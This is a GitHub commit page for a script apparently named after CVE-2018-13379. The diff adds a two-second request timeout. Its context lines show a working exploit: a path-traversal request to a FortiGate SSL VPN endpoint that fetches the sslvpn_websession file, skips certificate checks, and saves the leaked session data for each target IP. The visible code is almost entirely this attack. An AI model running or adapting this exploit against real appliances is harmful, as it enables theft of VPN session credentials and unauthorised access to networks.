Skip to content

Commit

Permalink
Added a timeout of 2 seconds
Browse files Browse the repository at this point in the history
  • Loading branch information
Chan9390 committed Aug 14, 2019
1 parent b1d7f80 commit fe1906d
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion CVE-2018-13379.py
Expand Up @@ -9,7 +9,7 @@ def checkIP(ip):
try:
url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
r=requests.get(url, headers=headers, verify=False, stream=True)
r=requests.get(url, headers=headers, verify=False, stream=True, timeout=2)
img=r.raw.read()
if "var fgt_lang =" in str(img):
with open("sslvpn_websession_"+ip+".dat", 'w') as f:
Expand Down

0 comments on commit fe1906d

Please sign in to comment.